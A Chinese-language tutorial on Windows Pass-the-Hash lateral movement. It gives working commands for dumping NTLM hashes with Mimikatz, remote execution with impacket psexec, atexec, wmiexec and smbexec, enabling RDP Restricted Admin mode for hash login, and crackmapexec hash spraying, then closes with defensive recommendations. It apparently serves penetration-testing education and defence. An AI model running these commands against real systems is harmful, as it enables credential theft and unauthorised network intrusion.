内网PTH攻击
字数 1047 2025-08-25 22:59:02

Windows内网PTH攻击技术详解

前言

Pass-the-Hash (PTH)攻击是一种在Windows环境中利用NTLM哈希进行横向移动的技术。当获取的服务器版本高于Windows Server 2008时,无法利用Mimikatz获取服务器的明文密码,此时PTH攻击就显得尤为重要。

关键限制条件

  • 只有administrator或域管用户的哈希值才能进行哈希传递攻击
  • 其他用户(包括加入管理员组但非administrator的用户)无法使用此技术
  • 域普通用户也不能使用哈希传递攻击

准备工作

  1. 获取NTLM哈希

    • 使用Cobalt Strike等工具上线目标机器
    • 利用Mimikatz抓取凭证:
      sekurlsa::logonpasswords
      
    • 示例获取的哈希格式:
      ./Administrator c6de864a0d3ba9437e6a1e0789d4a844
      
  2. 工具准备

    • 推荐使用impacket-examples-windows工具包(需解决杀软绕过问题)
    • 微软PSTOOLS包不支持哈希传递

PTH攻击方法

1. Psexec方式

  • 端口:445
  • 特点:会上传文件到c:\windows下,命令执行后删除
  • 命令格式
    psexec -hashes :c6de864a0d3ba9437e6a1e0789d4a844 ./administrator@192.168.100.129
    

2. Atexec方式

  • 端口:139和445
  • 特点:通过创建、执行和删除计划任务实现
  • 命令格式
    atexec -hashes :c6de864a0d3ba9437e6a1e0789d4a844 ./administrator@192.168.100.129 "whoami"
    

3. Wmiexec方式

  • 端口:135
  • 命令格式
    wmiexec.exe -hashes :c6de864a0d3ba9437e6a1e0789d4a844 ./administrator@192.168.100.129 "whoami"
    

4. Smbexec方式

  • 与Psexec类似
  • 命令格式
    smbexec.exe -hashes :c6de864a0d3ba9437e6a1e0789d4a844 ./administrator@192.168.100.129
    

5. Mimikatz方式

  • 命令格式
    privilege::debug
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:c6de864a0d3ba9437e6a1e0789d4a844
    

RDP哈希登录

准备工作

需要开启"Restricted Admin Mode":

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

1. 使用Mimikatz进行RDP登录

sekurlsa::pth /user:administrator /domain:192.168.100.164 /ntlm:c6de864a0d3ba9437e6a1e0789d4a844 "/run:mstsc.exe /restrictedadmin"

注意:客户端系统需要支持Restricted Admin mode,否则会显示远程桌面参数说明。

2. 使用xfreerdp进行RDP登录

(Kali Linux自带该工具)

xfreerdp /v:192.168.100.164 /u:administrator /pth:c6de864a0d3ba9437e6a1e0789d4a844 /cert:ignore

PTH批量爆破

使用crackmapexec进行密码喷洒:

crackmapexec smb 192.168.100.0/24 -u administrator -H NTLM-HASH.txt -x whoami -d workgroup

用户权限测试结果

测试了以下账号类型的PTH攻击可行性:

  1. 本地普通用户 - 不可行
  2. 加入管理员组的本地账号 - 不可行
  3. 域普通账号 - 不可行
  4. 加入域管理员组的账号 - 可行

防御建议

  1. 限制本地管理员账户的使用
  2. 启用Credential Guard功能
  3. 监控异常的网络活动(特别是135、139、445端口)
  4. 定期轮换高权限账户密码
  5. 实施网络分段,限制横向移动的可能性

总结

PTH攻击是内网渗透中强大的横向移动技术,但仅限于administrator和域管账户。了解这些技术有助于更好地防御内网攻击,建议安全团队针对这些攻击方法制定相应的检测和防御策略。

Windows内网PTH攻击技术详解 前言 Pass-the-Hash (PTH)攻击是一种在Windows环境中利用NTLM哈希进行横向移动的技术。当获取的服务器版本高于Windows Server 2008时,无法利用Mimikatz获取服务器的明文密码,此时PTH攻击就显得尤为重要。 关键限制条件 : 只有administrator或域管用户的哈希值才能进行哈希传递攻击 其他用户(包括加入管理员组但非administrator的用户)无法使用此技术 域普通用户也不能使用哈希传递攻击 准备工作 获取NTLM哈希 : 使用Cobalt Strike等工具上线目标机器 利用Mimikatz抓取凭证: 示例获取的哈希格式: 工具准备 : 推荐使用impacket-examples-windows工具包(需解决杀软绕过问题) 微软PSTOOLS包不支持哈希传递 PTH攻击方法 1. Psexec方式 端口 :445 特点 :会上传文件到 c:\windows 下,命令执行后删除 命令格式 : 2. Atexec方式 端口 :139和445 特点 :通过创建、执行和删除计划任务实现 命令格式 : 3. Wmiexec方式 端口 :135 命令格式 : 4. Smbexec方式 与Psexec类似 命令格式 : 5. Mimikatz方式 命令格式 : RDP哈希登录 准备工作 需要开启"Restricted Admin Mode": 1. 使用Mimikatz进行RDP登录 注意 :客户端系统需要支持Restricted Admin mode,否则会显示远程桌面参数说明。 2. 使用xfreerdp进行RDP登录 (Kali Linux自带该工具) PTH批量爆破 使用crackmapexec进行密码喷洒: 用户权限测试结果 测试了以下账号类型的PTH攻击可行性: 本地普通用户 - 不可行 加入管理员组的本地账号 - 不可行 域普通账号 - 不可行 加入域管理员组的账号 - 可行 防御建议 限制本地管理员账户的使用 启用Credential Guard功能 监控异常的网络活动(特别是135、139、445端口) 定期轮换高权限账户密码 实施网络分段,限制横向移动的可能性 总结 PTH攻击是内网渗透中强大的横向移动技术,但仅限于administrator和域管账户。了解这些技术有助于更好地防御内网攻击,建议安全团队针对这些攻击方法制定相应的检测和防御策略。